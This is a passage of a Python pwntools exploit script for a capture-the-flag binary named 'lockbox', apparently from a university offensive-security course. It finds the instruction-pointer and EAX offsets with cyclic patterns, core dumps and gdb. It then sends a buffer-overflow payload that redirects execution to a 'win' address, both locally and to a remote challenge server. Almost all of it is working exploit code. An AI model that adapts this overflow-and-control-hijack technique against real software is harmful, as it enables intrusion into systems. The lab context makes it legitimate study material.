 return pad16 + keyAddr + pad0 + secret + pad44 + win + pad0  # A function to find what part of the payload is being read as an address when main returns  # Input: N/A  # Output: N/A  def ripOffset():  p = process('./lockbox')  d = p.recvuntil(">")  p.sendline(testPld())  p.wait()  cf = p.corefile  stack = cf.rsp  info("rsp = %#x", stack)  pattern = cf.read(stack, 4)  ripOffset = cyclic\_find(pattern)  info("rip offset = %d", ripOffset)  # A function to find what part of the payload is leaking into eax  # Input: N/A  # Output: N/A  def eaxOffset():  p = process('/bin/bash')  p.sendline('gdb ./lockbox -q')  p.sendline("break \*0x00000000004011ce")  p.sendline("r")  d = p.recvuntil(">")  pld = winPld()  p.sendline(pld)  p.recvuntil("Breakpoint")  p.recvuntil("(gdb) ")  p.sendline("info registers eax")  ln = cleanLine(p.recv())  print(ln)  l = re.split("\s+", ln)  d = re.split("x", l[1])  n = 2  a = d[1]  byt = [a[i:i+n] for i in range(0, len(a), n)]  bytes = b"".join(struct.pack("B", int("0x"+byt[i], 16)) for i in range(0,4))  print(str(bytes))  eax = bytes  eOffset = cyclic\_find(eax)  info("eax offset = %d", eOffset)  p.close()  def sendPld():  p = process('/bin/bash')  p.sendline('gdb ./lockbox -q')  p.sendline("break \* 0x00000000004011ce")  p.sendline("r")  d = p.recvuntil(">")  pld = secretPld()  p.sendline(pld)  p.interactive()  def testRun():  p = process('./lockbox')  d = p.recvuntil(">")  pld = secretPld()  p.sendline(pld)  p.interactive()  # Host and port for the remote challenge  HOST = 'offsec-chalbroker.osiris.cyber.nyu.edu'  PORT = 1336  def remoteTest():  p = remote(HOST, PORT)  d = p.recvuntil(">")  pld = secretPld()  p.sendline(pld)  p.interactive()  remoteTest()  #sendPld()  #testRun() |